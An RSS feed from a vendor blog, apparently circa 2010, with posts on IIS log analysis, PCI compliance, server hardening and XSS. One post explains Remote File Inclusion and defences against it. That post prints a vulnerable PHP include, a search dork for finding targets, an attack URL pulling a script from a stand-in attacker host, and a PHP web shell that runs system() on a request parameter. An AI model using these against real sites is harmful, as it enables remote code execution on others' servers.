<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	>

<channel>
	<title>[200 OK]</title>
	<atom:link href="http://blog.port80software.com/index.php/feed/" rel="self" type="application/rss+xml" />
	<link>http://blog.port80software.com</link>
	<description>We're all 200 OK: Web, HTTP and IIS Insights</description>
	<pubDate>Wed, 29 Dec 2010 00:02:38 +0000</pubDate>
	<generator>http://wordpress.org/?v=2.7.1</generator>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
			<item>
		<title>Diagnosing Server Slow Downs</title>
		<link>http://blog.port80software.com/2010/12/28/diagnosing-server-slow-downs/</link>
		<comments>http://blog.port80software.com/2010/12/28/diagnosing-server-slow-downs/#comments</comments>
		<pubDate>Wed, 29 Dec 2010 00:01:19 +0000</pubDate>
		<dc:creator>admin</dc:creator>
		
		<category><![CDATA[Performance Tools]]></category>

		<guid isPermaLink="false">http://blog.port80software.com/?p=776</guid>
		<description><![CDATA[If your web server is experiencing performance slow downs, and in particular if the average load time of your pages seems to be increasing, a good first place to check for what might be causing the slowdown would be your IIS logs.
If 304s constitute a large proportion of the responses in those logs, then an [...]]]></description>
			<content:encoded><![CDATA[<p>If your web server is experiencing performance slow downs, and in particular if the average load time of your pages seems to be increasing, a good first place to check for what might be causing the slowdown would be your IIS logs.<span id="more-776"></span></p>
<p>If 304s constitute a large proportion of the responses in those logs, then an expiration-based cache control solution like <a href="http://www.port80software.com/products/cacheright/">CacheRight</a> can help to reduce the need for these requests from browsers, freeing up server resources to serve actual content to users that need it.</p>
<p><em>Side Note: If the problem is not excessive 304s but just an increase in the number of 200OKs, then compression (e.g., <a href="http://www.port80software.com/products/httpzip/">httpZip</a>) might be a more effective remedy for the performance lag.</em></p>
<p><strong>Testing</strong></p>
<p>In order to tell if CacheRight will help speed up your users&#8217; page load times, we&#8217;ve written a little script for use with Microsoft&#8217;s Log Parser tool (which itself is free). The following script contains a SQL query you can run against your IIS log files, to determine the proportion of 304s to other responses:</p>
<p><strong>SQL Query to enumerate requests in IIS Log File by response code.</strong><br />
<code><br />
<span style="font-family: monospace;">SELECT sc-status AS StatusCode,<br />
</span><span style="font-family: monospace;">COUNT(*) AS NumberOfHits<br />
</span><span style="font-family: monospace;">FROM %inputfile%<br />
</span><span style="font-family: monospace;">GROUP BY StatusCode<br />
</span><span style="font-family: monospace;">ORDER BY NumberOfHits DESC</span><br />
</code><br />
To run this query you will need to <a href="http://www.microsoft.com/downloads/en/details.aspx?FamilyID=890cd06b-abf8-4c25-91b2-f8d975cf8c07&amp;displaylang=en" target="_blank">download Log Parser 2.2</a>.</p>
<p>Just copy the above script into a text file and save it with a .sql extension.  You will want to open a cmd window and change to a current working directory that contains all of the following:</p>
<ul>
<li>Your .sql script file</li>
<li>Logparser.exe</li>
<li>All of IIS log files that you want to include in the analysis</li>
</ul>
<p>Here is the syntax to execute the .sql script on the command line (assuming you called the file  myscriptfile.sql):</p>
<p><span style="font-family: monospace;">logparser file:myscriptfile.sql?inputfile=ex*.log &gt; outfile.txt</span></p>
<p>When you run this, the resulting output file (outfile.txt) should contain a simple table enumerating how many HTTP responses of each type (200, 302, 304, etc.) were found in your IIS logs.</p>
<p>As simple as this script is, it really contains the key metric for determining if you can benefit from CacheRight (that is, from expiration-based cache control).  Here is an example of the type of output you might see if you have a situation where CacheRight can help (the exact numbers aren&#8217;t important, just the proportions):</p>
<p style="padding-left: 30px;">StatusCode NumberOfHits<br />
&#8212;&#8212;&#8212;-       &#8212;&#8212;&#8212;&#8212;</p>
<p style="padding-left: 30px;">304        751762<br />
200        301112<br />
302        32932<br />
404        2132<br />
400        1456<br />
500        687<br />
206        243<br />
301        14</p>
<p style="padding-left: 30px;">Statistics:<br />
&#8212;&#8212;&#8212;&#8211;</p>
<p style="padding-left: 30px;">Elements processed: 933293<br />
Elements output: 8<br />
Execution time: 6.37 seconds</p>
<p>Based on the above sample data, it&#8217;s clear that this  server could benefit from being relieved of the burden of having to send so many 304 Not Modified messages. As you can see, there are many more 304 Not Modified responses than 200 OK responses.  What this means is that the server is using far more of its available resources just to tell browsers to use the cached copies of files they already have, than to actually send them new content that they need.</p>
<p>In this case, implementing expiration-based cache control on static dependencies like images and JS and CSS files (which is what CacheRight does best) should greatly reduce the proportion of 304 responses that the server has to issue.  That would free up those resources to serve content that actually needs to be sent afresh.</p>
<p>And keep in mind that doing expiration-based cache control will also let browsers use most files directly from their local caches, without having to revalidate them by issuing these requests to the server and waiting for the 304 responses to come back.  Since the 304s represent files that were in fact fresh at the time the requests were made (after all that is what a 304 response means), the 304 count is really a measure of the total number of unnecessary round trips that return visitors&#8217; browsers are having to perform before the pages they are viewing can be completely rendered.  And more round trips mean slower-loading pages.</p>
<p>So how low should you want your 304 count to go?  While a certain number of 304s is normal and desirable, you should ideally aim to get the proportion of down to something under 10% of the total number of 200 OKs.  Anything above that, and you&#8217;re likely wasting perfectly good server and network resources, and quite literally &lt;em&gt;making your users wait for nothing&lt;/em&gt;.</p>
<p>So check that 304 count!  You may just find that implementing proper cache control is quick-and-easy way to improve both your site&#8217;s page load times and your server&#8217;s traffic-handling capacity.</p>
]]></content:encoded>
			<wfw:commentRss>http://blog.port80software.com/2010/12/28/diagnosing-server-slow-downs/feed/</wfw:commentRss>
		</item>
		<item>
		<title>PCI Quick Tips</title>
		<link>http://blog.port80software.com/2010/11/12/pci-quick-tips/</link>
		<comments>http://blog.port80software.com/2010/11/12/pci-quick-tips/#comments</comments>
		<pubDate>Fri, 12 Nov 2010 18:47:07 +0000</pubDate>
		<dc:creator>admin</dc:creator>
		
		<category><![CDATA[Around the Web]]></category>

		<category><![CDATA[pci]]></category>

		<category><![CDATA[security]]></category>

		<guid isPermaLink="false">http://blog.port80software.com/?p=767</guid>
		<description><![CDATA[Do:

Encrypt cardholder data.
Use products that are approved for the PCI      standard.
Understand the concept of compensating controls.
Organize PCI compliance as an on-going,      cross-functional project&#8211;not as a one-time event.
Understand your cardholder information business      process from end to end.
Take the time to read [...]]]></description>
			<content:encoded><![CDATA[<p><strong>Do:</strong></p>
<ul type="disc">
<li>Encrypt cardholder data.</li>
<li>Use products that are approved for the PCI      standard.</li>
<li>Understand the concept of compensating controls.<span id="more-767"></span></li>
<li>Organize PCI compliance as an on-going,      cross-functional project&#8211;not as a one-time event.</li>
<li>Understand your cardholder information business      process from end to end.</li>
<li>Take the time to read and understand the PCI Data      Security Standard.</li>
</ul>
<p><strong>Don&#8217;t:</strong></p>
<ul type="disc">
<li>Store unnecessary cardholder data beyond      receiving the authorization code.</li>
<li>Be lulled into thinking that you would not be a      target for criminals.</li>
<li>Try to create your own crypto solutions.</li>
<li>Assume your vendor is protecting you.</li>
</ul>
<p><!--more--></p>
<h2><strong>Some good reads around the web on PCI compliance:</strong></h2>
<h3><strong>Four PCI Mistakes to Avoid</strong></h3>
<p>1 - Treating PCI as a technology checklist<br />
Many organizations think of PCI as a checklist of things they must do periodically to satisfy the auditors. They do the minimum once, document it, and give the resulting report to the auditors. Instead, organizations need to make PCI a continuous part of their normal operations, which dramatically lowers the risk of exposing cardholder data and of the problems and liabilities that would follow.</p>
<p><strong><em><a href="http://bigfatfinanceblog.com/2010/08/13/four-pci-mistakes-to-avoid/">Read More&#8230;</a></em></strong></p>
<h3><strong><em><a href="http://bigfatfinanceblog.com/2010/08/13/four-pci-mistakes-to-avoid/"></a></em></strong><br />
<strong>PCI DSS: Myths, Mistakes, Misconceptions 2009</strong></h3>
<p>M1 - PCI just doesn&#8217;t apply to us &#8230; Myth: PCI just doesn&#8217;t apply to us, because&#8230; • &#8220;&#8230; we are small, a University, don‟t do e-commerce, outsource &#8220;everything&#8221;, not permanent entity, etc&#8221; Reality: PCI DSS DOES apply to you if you &#8220;accept, capture, store, transmit or process credit and debit card data&#8221;, no exceptions! At some point, your acquirer will make it clear to you!</p>
<p><strong><em><a href="http://www.slideshare.net/anton_chuvakin/pci-dss-myths-mistakes-misconceptions-2009-teaser-version-1171140">See the presentation&#8230;</a></em></strong></p>
<p><strong><em><br />
</em></strong></p>
<h3><strong>Top 10 mistakes in PCI compliance</strong></h3>
<p>As more ISOs and acquiring banks initiate programs mandating Level 4 merchant compliance with the <a href="http://www.pcisecuritystandards.org/" target="_blank"><strong>Payment Card Industry (PCI) Data Security Standard (DSS)</strong></a>, they are coming face to face with a harsh reality: It&#8217;s one thing to establish a PCI compliance policy to help prevent theft of cardholder data. It&#8217;s quite another to bring your small and mid-sized merchants on board.</p>
<p><strong><em><a href="http://www.greensheet.com/emagazine.php?story_id=1834">Read More&#8230;</a></em></strong></p>
<p><strong><em>** Do&#8217;s and Don&#8217;ts </em></strong>(source: <a href="http://searchsecurity.techtarget.com/magazineFeature/0,296894,sid14_gci1257098,00.html">http://searchsecurity.techtarget.com/magazineFeature/0,296894,sid14_gci1257098,00.html</a>)</p>
]]></content:encoded>
			<wfw:commentRss>http://blog.port80software.com/2010/11/12/pci-quick-tips/feed/</wfw:commentRss>
		</item>
		<item>
		<title>Don’t Assume Your Web Server is Safe</title>
		<link>http://blog.port80software.com/2010/11/12/dont-assume-your-web-server-is-safe/</link>
		<comments>http://blog.port80software.com/2010/11/12/dont-assume-your-web-server-is-safe/#comments</comments>
		<pubDate>Fri, 12 Nov 2010 18:27:51 +0000</pubDate>
		<dc:creator>admin</dc:creator>
		
		<category><![CDATA[Around the Web]]></category>

		<category><![CDATA[data security]]></category>

		<category><![CDATA[database security]]></category>

		<category><![CDATA[firewalls]]></category>

		<category><![CDATA[online security]]></category>

		<category><![CDATA[pci]]></category>

		<category><![CDATA[security]]></category>

		<guid isPermaLink="false">http://blog.port80software.com/?p=757</guid>
		<description><![CDATA[Great Tips found around the web for securing your online data:
Database Security: Tips for Securing a Database for Small Business
Enable Security Controls: Unlike older databases, the newer databases require passwords to gain full access to the stored data. Often when the databases are shipped, none of the security features are enabled. Make sure you check the [...]]]></description>
			<content:encoded><![CDATA[<p><em>Great Tips found around the web for securing your online data:</em></p>
<h3><strong>Database Security: Tips for Securing a Database for Small Business</strong></h3>
<p>Enable Security Controls: Unlike older databases, the newer databases require passwords to gain full access to the stored data. Often when the databases are shipped, none of the security features are enabled. Make sure you check the security controls and enable all of the features before allowing anyone access to the database.</p>
<p><strong><em><a href="http://www.spamlaws.com/database-security.html">Read More&#8230;</a></em></strong></p>
<p><span id="more-757"></span></p>
<h3><strong>Securing Your Database &#8212; Top 10 Tips for Government Organizations</strong></h3>
<p>1. Secure Your Data Against Internal and External Threats</p>
<p>When securing the data in your database it&#8217;s important to think about internal as well as external threats. To prevent external intrusion you must safeguard database accounts, ensure that you have applied the latest security patches to your IT environment and make sure that the database is secured inside a firewall. You should also think about the internal threats posed by employees who may be considering moving to another line of work, setting up their own companies, or otherwise considering leveraging your information to their benefit and your detriment. Ensure that you restrict access to the most sensitive data on an as-needed basis, and consider auditing all data access.</p>
<p><strong><em><a href="http://www.govtech.com/security/Securing-Your-Database---.html?topic=117671">Read More&#8230;</a></em></strong></p>
<h3><strong><br />
Fifteen tips for properly securing IIS Web servers</strong></h3>
<p>1. Maintain Windows updates: Staying on top of critical updates and security patches is the easiest security measure to take. Consider downloading updates to a dedicated machine on your network and pushing out the updates to the Web servers from that machine. By doing so, you can prevent your Web server from ever engaging in direct Internet browsing.</p>
<p><strong><em><a href="http://articles.techrepublic.com.com/5100-10878_11-5055458.html">Read More&#8230;</a></em></strong></p>
<h3><strong><br />
Six steps to securing your Web server</strong></h3>
<p>1. Use separate servers for internal and external applications.<br />
Given that organizations typically have two, separate classes of Web applications, those serving internal users and those serving external users, it&#8217;s prudent to place those applications on different servers. Doing so reduces the risk of a malicious user penetrating the external server to gain access to sensitive internal information. If you don&#8217;t have the resources to implement this at your disposal, you should at least consider using technical controls (such as process isolation) to keep internal and external applications from interacting with each other.</p>
<p><strong><em><a href="http://searchsecurity.techtarget.com/tip/0,289483,sid14_gci1015581,00.html">Read More&#8230;</a></em></strong></p>
<h3><strong><br />
How to identify and evaluate threats</strong></h3>
<p>Use threat modeling to systematically identify threats rather than applying security in a haphazard manner. Next, rate the threats based on the risk of an attack or occurrence of a security compromise and the potential damage that could result. This allows you to tackle threats in the appropriate order.</p>
<p><strong><em><a href="http://msdn.microsoft.com/en-us/library/aa302419.aspx">Read More&#8230;</a></em></strong></p>
]]></content:encoded>
			<wfw:commentRss>http://blog.port80software.com/2010/11/12/dont-assume-your-web-server-is-safe/feed/</wfw:commentRss>
		</item>
		<item>
		<title>Around the Web (Sept2010)</title>
		<link>http://blog.port80software.com/2010/09/15/around-the-web-sept2010/</link>
		<comments>http://blog.port80software.com/2010/09/15/around-the-web-sept2010/#comments</comments>
		<pubDate>Wed, 15 Sep 2010 20:38:39 +0000</pubDate>
		<dc:creator>admin</dc:creator>
		
		<category><![CDATA[Around the Web]]></category>

		<guid isPermaLink="false">http://blog.port80software.com/?p=733</guid>
		<description><![CDATA[A quick list of what&#8217;s up on the Web; from PCI compliance to recent hacker attempts/attacks to security issues:
Twitter fixes XSS flaw after being exploited
http://inform.com/science-and-technology/twitter-fixes-xss-flaw-exploited-1107170a

Django 1.2.2 released to close XSS enabling hole
http://www.h-online.com/security/news/item/Django-1-2-2-released-to-close-XSS-enabling-hole-1075945.html
SQL Injection and XSS vulnerabilities in CubeCart version 4.3.3
http://seclists.org/fulldisclosure/2010/Sep/163
Adobe Reader 0-day vulnerability (CVE-2010-2883)
http://community.websense.com/blogs/securitylabs/archive/2010/09/09/cve-2010-2883-critical-vulnerability-in-adobe-reader.aspx
Cybercriminals Creating Nearly 60,000 Fake Websites to Trick and Infect Users Each [...]]]></description>
			<content:encoded><![CDATA[<p>A quick list of what&#8217;s up on the Web; from PCI compliance to recent hacker attempts/attacks to security issues:</p>
<p><strong>Twitter fixes XSS flaw after being exploited</strong></p>
<p style="padding-left: 30px;"><a href="http://inform.com/science-and-technology/twitter-fixes-xss-flaw-exploited-1107170a">http://inform.com/science-and-technology/twitter-fixes-xss-flaw-exploited-1107170a</a></p>
<p style="padding-left: 30px;"><span id="more-733"></span></p>
<p><strong>Django 1.2.2 released to close XSS enabling hole</strong></p>
<p style="padding-left: 30px;"><a href="http://www.h-online.com/security/news/item/Django-1-2-2-released-to-close-XSS-enabling-hole-1075945.html">http://www.h-online.com/security/news/item/Django-1-2-2-released-to-close-XSS-enabling-hole-1075945.html</a></p>
<p><strong>SQL Injection and XSS vulnerabilities in CubeCart version 4.3.3</strong></p>
<p style="padding-left: 30px;"><a href="http://seclists.org/fulldisclosure/2010/Sep/163">http://seclists.org/fulldisclosure/2010/Sep/163</a></p>
<p><strong>Adobe Reader 0-day vulnerability (CVE-2010-2883)</strong></p>
<p style="padding-left: 30px;"><a href="http://community.websense.com/blogs/securitylabs/archive/2010/09/09/cve-2010-2883-critical-vulnerability-in-adobe-reader.aspx">http://community.websense.com/blogs/securitylabs/archive/2010/09/09/cve-2010-2883-critical-vulnerability-in-adobe-reader.aspx</a></p>
<p><strong>Cybercriminals Creating Nearly 60,000 Fake Websites to Trick and Infect Users Each Week, Reports PandaLabs</strong></p>
<p style="padding-left: 30px;"><a href="http://www.marketwatch.com/story/cybercriminals-creating-nearly-60000-fake-websites-to-trick-and-infect-users-each-week-reports-pandalabs-2010-09-09?reflink=MW_news_stmp">http://www.marketwatch.com/story/cybercriminals-creating-nearly-60000-fake-websites-to-trick-and-infect-users-each-week-reports-pandalabs-2010-09-09?reflink=MW_news_stmp</a></p>
]]></content:encoded>
			<wfw:commentRss>http://blog.port80software.com/2010/09/15/around-the-web-sept2010/feed/</wfw:commentRss>
		</item>
		<item>
		<title>All Your Web Sites Are Belong to Us</title>
		<link>http://blog.port80software.com/2010/09/15/all-your-web-sites-are-belong-to-us/</link>
		<comments>http://blog.port80software.com/2010/09/15/all-your-web-sites-are-belong-to-us/#comments</comments>
		<pubDate>Wed, 15 Sep 2010 20:13:20 +0000</pubDate>
		<dc:creator>admin</dc:creator>
		
		<category><![CDATA[Web Security Tools]]></category>

		<guid isPermaLink="false">http://blog.port80software.com/?p=738</guid>
		<description><![CDATA[Remote File Inclusion: how the bad guys take control
Remote File Inclusion (RFI) is a type of vulnerability that allows an attacker to include a remote file, usually through a script, on the target Web server. RFI occurs due to the use of user supplied input without proper validation. This can lead to something as minimal as outputting [...]]]></description>
			<content:encoded><![CDATA[<p><strong>Remote File Inclusion: how the bad guys take control</strong></p>
<p>Remote File Inclusion (RFI) is a type of vulnerability that allows an attacker to include a remote file, usually through a script, on the target Web server. RFI occurs due to the use of user supplied input without proper validation. This can lead to something as minimal as outputting the contents of the file, but depending on the severity, to list a few it can lead to:<span id="more-738"></span></p>
<ul type="disc">
<li>Code      execution on the web server</li>
<li>Code      execution on the client-side such as Javascript which      can lead to other attacks such as cross site scripting (XSS).</li>
<li>Denial      of Service (DoS)</li>
<li>Data      Theft/Manipulation</li>
</ul>
<p>While in principle RFI can work against a variety of Web application platforms (like .NET and J2EE) in practice it is one of the most common types of attack against web applications written in PHP (including Mambo, Joomla, components, templates, etc.). PHP is particularly vulnerable to RFI attacks due to the extensive use of &#8220;file includes&#8221; in PHP programming and due to default server configurations that increase susceptibility to an RFI attack.</p>
<p>Most PHP applications are divided up into a number of files. When the application runs, only those files that are actually needed to perform the requested operation are loaded into memory - thus saving server resources. Different operations may require different files to be loaded or &#8216;included&#8217; (the command that loads a file is called &#8216;include&#8217; in PHP). This type of attack would typically happen only if PHP is configured so that both &#8216;register_globals&#8217; and &#8216;allow_url_fopen&#8217; are switched on.</p>
<p><strong>An example of how a RFI attack works:</strong></p>
<p>If a Web site is coded in PHP and is using a GET page command:</p>
<pre style="padding-left: 30px;">&lt;?php</pre>
<pre style="padding-left: 30px;">  $file =$_GET['page']; //The page we wish to display</pre>
<pre style="padding-left: 30px;">  include($file);</pre>
<pre style="padding-left: 30px;">?&gt;</pre>
<p>A simple search on Google:</p>
<pre style="padding-left: 30px;">"inurl:index.php?page="</pre>
<p>And Joe Hacker is able to find sites that may be vulnerable to an RFI attack by exploiting the query parameter &#8220;page&#8221;.</p>
<p>This attacker could then insert his malicious script by doing the following:</p>
<pre style="padding-left: 30px;">http://www.example.com/index.php?page=http://www.hackserver.com/evil_script.txt?</pre>
<p>The text file &#8220;evil_script.txt&#8221; contains some code that could look something like this:</p>
<p style="padding-left: 30px;">&lt;?php</p>
<p style="padding-left: 30px;">echo &#8220;&lt;script&gt;alert(U 4r3 0wn3d !!);&lt;/script&gt;&#8221;;<br />
echo &#8220;Run command: &#8220;.htmlspecialchars($_GET['cmd']);</p>
<p style="padding-left: 30px;">system($_GET['cmd']);</p>
<p style="padding-left: 30px;">?&gt;</p>
<p>That when executed properly will allow you to exploit the include function and will test if the site is in fact RFI vulnerable.</p>
<p>So why can an attacker do this? Well the simple answer is because the include() function allows you to link to remote files, and an attacker can take advantage of that feature, as in the example above. Note however that this kind of attack isn&#8217;t only open to the include function, require_once() will also work.</p>
<p>Other PHP commands vulnerable to RFI are include_once, fopen, file_get_contents, require and require_once.</p>
<p>A few interesting details: You might be wondering why the script that the attacker uses is a .txt and not a .php file. The answer: if the script was a .php and the attacker&#8217;s server had php installed then the script would get executed on the attacker&#8217;s server and not the target. You will also notice that there is a &#8220;?&#8221; at the end of the example above; this is added so that anything that might be already inside the include() function can be removed. By having the &#8220;?&#8221; on the end of the script we are going to treat the .php as if it is a var that is getting passed to the script.</p>
<p><strong>What you can do to fight RFI on your server:</strong></p>
<p><strong> </strong></p>
<p>Preventing remote file include flaws takes some careful planning at the architectural and design phases, through to thorough testing. In general, a well-written application will not use user-supplied input in any filename for any server-based resource (such as images, XML and XSL transform documents, or script inclusions), and will have firewall rules in place preventing new outbound connections to the Internet or internally back to any other server.</p>
<p>The best practice is to use multiple layers of defense against RFI attacks.</p>
<p><strong>Mod Rewrite via .htaccess file (for Apache servers)</strong></p>
<p><a href="http://www.phpfreaks.com/tutorial/preventing-remote-file-include-attacks-with-mod-rewrite">http://www.phpfreaks.com/tutorial/preventing-remote-file-include-attacks-with-mod-rewrite</a></p>
<p><strong>Don&#8217;t Trust User Input</strong></p>
<p><a href="http://www.codeassembly.com/How-to-sanitize-your-php-input/">http://www.codeassembly.com/How-to-sanitize-your-php-input/</a></p>
<p>This type of attack can also be defended against by sanitizing the inputs. Input can also be sanitized directly in the PHP code.</p>
<p>Check all global arrays like $_GET, $_POST, $_REQUEST, $_COOKIE, allow only known variables and make sure that they contain the right type of data. What does this mean? It means that if you have a $_GET['id'] variable in your script which has to be an integer, always check it and make sure it is an integer. Also don&#8217;t allow other variables in $_GET or other globals, keep only variables that your scripts need. So, if your script only uses only one variable $_GET['id'] then dispose other variables.</p>
<p><strong>Windows Based Security</strong></p>
<p>If you are on Windows, and if code changes are not a practical option, then you should consider using a good Web Application Firewall that handles the sanitization of user input for you.</p>
<p>And of course, it&#8217;s not a bad idea to use a mixture of server-based and code-based strategies since, as with any Web app vulnerability, this &#8216;defense in depth&#8217; lowers the odds of something dangerous getting through, because it happens to be a variant that one layer didn&#8217;t catch..</p>
<p>/P80</p>
<p><strong>Sources:</strong></p>
<p><strong> </strong></p>
<ul type="disc">
<li><a href="http://projects.webappsec.org/Remote-File-Inclusion">http://projects.webappsec.org/Remote-File-Inclusion</a></li>
<li><a href="http://www.theprohack.com/2010/07/simple-tutorial-on-remote-file.html">http://www.theprohack.com/2010/07/simple-tutorial-on-remote-file.html</a></li>
<li><a href="http://www.phpfreaks.com/tutorial/preventing-remote-file-include-attacks-with-mod-rewrite">http://www.phpfreaks.com/tutorial/preventing-remote-file-include-attacks-with-mod-rewrite</a></li>
<li><a href="http://www.owasp.org/index.php/Top_10_2007-Malicious_File_Execution">http://www.owasp.org/index.php/Top_10_2007-Malicious_File_Execution</a></li>
<li><a href="http://www.codeassembly.com/How-to-sanitize-your-php-input/">http://www.codeassembly.com/How-to-sanitize-your-php-input/</a></li>
<li><a href="http://www.go4expert.com/forums/showthread.php?t=11836">http://www.go4expert.com/forums/showthread.php?t=11836</a></li>
</ul>
]]></content:encoded>
			<wfw:commentRss>http://blog.port80software.com/2010/09/15/all-your-web-sites-are-belong-to-us/feed/</wfw:commentRss>
		</item>
		<item>
		<title>Preparing for New PCI Standards</title>
		<link>http://blog.port80software.com/2010/08/16/preparing-for-new-pci-standards/</link>
		<comments>http://blog.port80software.com/2010/08/16/preparing-for-new-pci-standards/#comments</comments>
		<pubDate>Mon, 16 Aug 2010 18:34:35 +0000</pubDate>
		<dc:creator>admin</dc:creator>
		
		<category><![CDATA[Web Security Tools]]></category>

		<category><![CDATA[pa-dss]]></category>

		<category><![CDATA[pci]]></category>

		<category><![CDATA[pci dss]]></category>

		<category><![CDATA[pci security standards council]]></category>

		<category><![CDATA[WAF]]></category>

		<category><![CDATA[web application firewall]]></category>

		<category><![CDATA[windows security]]></category>

		<guid isPermaLink="false">http://blog.port80software.com/?p=727</guid>
		<description><![CDATA[According to CSP Daily News the PCI Security Standards Council has just introduced the plan for Version 2.0 of its PCI standards which are due to take effect in October of 2010.
Version 2.0 of PCI DSS and PA-DSS do not introduce any new major requirements. Key updates, clarifications and guidance include:

Reinforcement of need for thorough [...]]]></description>
			<content:encoded><![CDATA[<p>According to <a href="http://www.cspnet.com/ME2/Audiences/dirmod.asp?sid=&amp;nm=&amp;type=Publishing&amp;mod=Publications::Article&amp;mid=8F3A7027421841978F18BE895F87F791&amp;tier=4&amp;id=A7FBB6E52F814072AEBF4D22945FAB45&amp;AudID=3F7DE6D5939244BBA5FBA04DEA47CA69">CSP Daily News</a> the PCI Security Standards Council has just introduced the plan for <a href="https://www.pcisecuritystandards.org/pdfs/summary_of_changes_highlights.pdf">Version 2.0</a> of its PCI standards which are due to take effect in October of 2010.</p>
<p>Version 2.0 of PCI DSS and PA-DSS do not introduce any new major requirements. Key updates, clarifications and guidance include:<span id="more-727"></span></p>
<ul type="disc">
<li>Reinforcement of need for thorough scoping      exercise prior to PCI DSS assessment in order to understand where      cardholder data resides.</li>
<li>Support for centralized logging included in      PA-DSS to promote more effective log management.</li>
<li>Validation, within certain requirements, of      risk-based approach for addressing vulnerabilities, allowing organizations      to consider their specific business circumstances and tolerance to risk      when assessing and prioritizing vulnerabilities.</li>
<li>Greater alignment between PCI DSS and PA-DSS      to facilitate stronger security practices.</li>
</ul>
<p>&#8220;The relatively minor revisions are a testament to the maturity of the standards and their ability to protect sensitive card data,&#8221; said Bob Russo, general manager, PCI Security Standards Council. &#8220;With the changes to the PCI DSS and PA-DSS outlined in advance, organizations will be better prepared to align their security programs with the updated standards and ensure security of their cardholder data.&#8221;</p>
<p>Ensure that you are complying to all current and future PCI standards by having an effective <a href="http://www.port80software.com/products/serverdefendervp/">Web Application Firewall</a> in place,  such as ServerDefender VP; an important part of an organizations overall Web security plan. To find out more information on how ServerDefender VP can help you with your Windows Server security strategy, visit our <a href="http://www.port80software.com/products/serverdefendervp/">ServerDefender VP product page</a>.</p>
<p>/P80</p>
]]></content:encoded>
			<wfw:commentRss>http://blog.port80software.com/2010/08/16/preparing-for-new-pci-standards/feed/</wfw:commentRss>
		</item>
		<item>
		<title>Security Checklists for IIS</title>
		<link>http://blog.port80software.com/2010/08/09/security-checklists-for-iis/</link>
		<comments>http://blog.port80software.com/2010/08/09/security-checklists-for-iis/#comments</comments>
		<pubDate>Mon, 09 Aug 2010 16:58:54 +0000</pubDate>
		<dc:creator>admin</dc:creator>
		
		<category><![CDATA[Web Security Tools]]></category>

		<guid isPermaLink="false">http://blog.port80software.com/?p=718</guid>
		<description><![CDATA[Database Engine Security Checklists:

 Limiting Access to Data
Enhancing the Security of Database Engine Connections
Database Engine Security Configuration
Limiting Access to Data
 Encrypting Sensitive Data


]]></description>
			<content:encoded><![CDATA[<p class="MsoNormal">Database Engine Security Checklists:</p>
<ul>
<li><a href="http://social.technet.microsoft.com/wiki/contents/articles/database-engine-security-checklist-limiting-access-to-data.aspx" target="_blank"> Limiting Access to Data</a></li>
<li><a href="http://social.technet.microsoft.com/wiki/contents/articles/database-engine-security-checklist-enhancing-the-security-of-database-engine-connections.aspx" target="_blank">Enhancing the Security of Database Engine Connections</a></li>
<li><a href="http://social.technet.microsoft.com/wiki/contents/articles/database-engine-security-checklist-database-engine-security-configuration.aspx" target="_blank">Database Engine Security Configuration</a></li>
<li><a href="http://social.technet.microsoft.com/wiki/contents/articles/database-engine-security-checklist-limiting-access-to-data.aspx" target="_blank">Limiting Access to Data</a></li>
<li><span> </span><a href="http://social.technet.microsoft.com/wiki/contents/articles/database-engine-security-checklist-encrypting-sensitive-data.aspx" target="_blank">Encrypting Sensitive Data</a></li>
</ul>
<p class="MsoNormal">
]]></content:encoded>
			<wfw:commentRss>http://blog.port80software.com/2010/08/09/security-checklists-for-iis/feed/</wfw:commentRss>
		</item>
		<item>
		<title>Don&#8217;t Let XSS Fake Out your Traffic</title>
		<link>http://blog.port80software.com/2010/08/09/dont-let-xss-fake-out-traffic/</link>
		<comments>http://blog.port80software.com/2010/08/09/dont-let-xss-fake-out-traffic/#comments</comments>
		<pubDate>Mon, 09 Aug 2010 16:56:58 +0000</pubDate>
		<dc:creator>admin</dc:creator>
		
		<category><![CDATA[Web Security Tools]]></category>

		<guid isPermaLink="false">http://blog.port80software.com/?p=710</guid>
		<description><![CDATA[and Damage your Good Name
A Cross-Site Scripting (XSS) Overview
Cross-site scripting (XSS) is a type of computer security vulnerability typically found in Web applications that enables attackers to inject client-side script into Web pages viewed by other users. XSS essentially compromises the trust relationship between a user and the Web site. As of 2007 XSS carried [...]]]></description>
			<content:encoded><![CDATA[<p><strong>and Damage your Good Name</strong></p>
<p><strong><em>A Cross-Site Scripting (XSS) Overview</em></strong></p>
<p><span>Cross-site scripting (XSS) is a type of computer security vulnerability typically found in Web applications that enables attackers to inject client-side script into Web pages viewed by other users. XSS essentially compromises the trust relationship between a user and the Web site. As of 2007 XSS carried out on web sites was responsible for roughly 80% of all Internet security vulnerabilities as documented by </span><span><a href="http://eval.symantec.com/mktginfo/enterprise/white_papers/b-whitepaper_exec_summary_internet_security_threat_report_xiii_04-2008.en-us.pdf" target="_blank">Symantec</a></span><span>.<span id="more-710"></span></span></p>
<p class="MsoNormal"><span>The potential impact of a successful XSS attack may range from a petty nuisance to a significant security risk, depending on the sensitivity of the data handled by the vulnerable site, and the nature of any security mitigations implemented by the site&#8217;s owner.</span></p>
<p class="MsoNormal">Since XSS is merely a tactic, it can be used for a wide variety of malicious purposes, for example it can be used to:</p>
<ul type="disc">
<li class="MsoNormal"><span>Steal cookies and hi-jack sessions</span></li>
<li class="MsoNormal"><span>Execute unintended Web site functionality</span></li>
<li class="MsoNormal"><span>Harass users with malicious code</span></li>
<li class="MsoNormal"><span>Alter any portion of the Web page</span></li>
<li class="MsoNormal"><span>Deface or DoS the website</span></li>
<li class="MsoNormal"><span>Violate the same-origin policy</span></li>
<li class="MsoNormal"><span>Aid in phishing scams</span></li>
</ul>
<p class="MsoNormal"><span> </span></p>
<p class="MsoNormal"><span>XSS is an indirect way for an attacker to fool your Web site visitors into revealing personal information or to exploit a secondary vulnerability on their desktop browser or within your Web site&#8217;s server. For example, XSS allows malicious users to hijack your users Web-based e-mail accounts, manipulate the customer settings on your Web site, or steal information sent in cookies, which may include your visitor’s bank account, credit card, or social security number.</span></p>
<p class="MsoNormal"><span> </span></p>
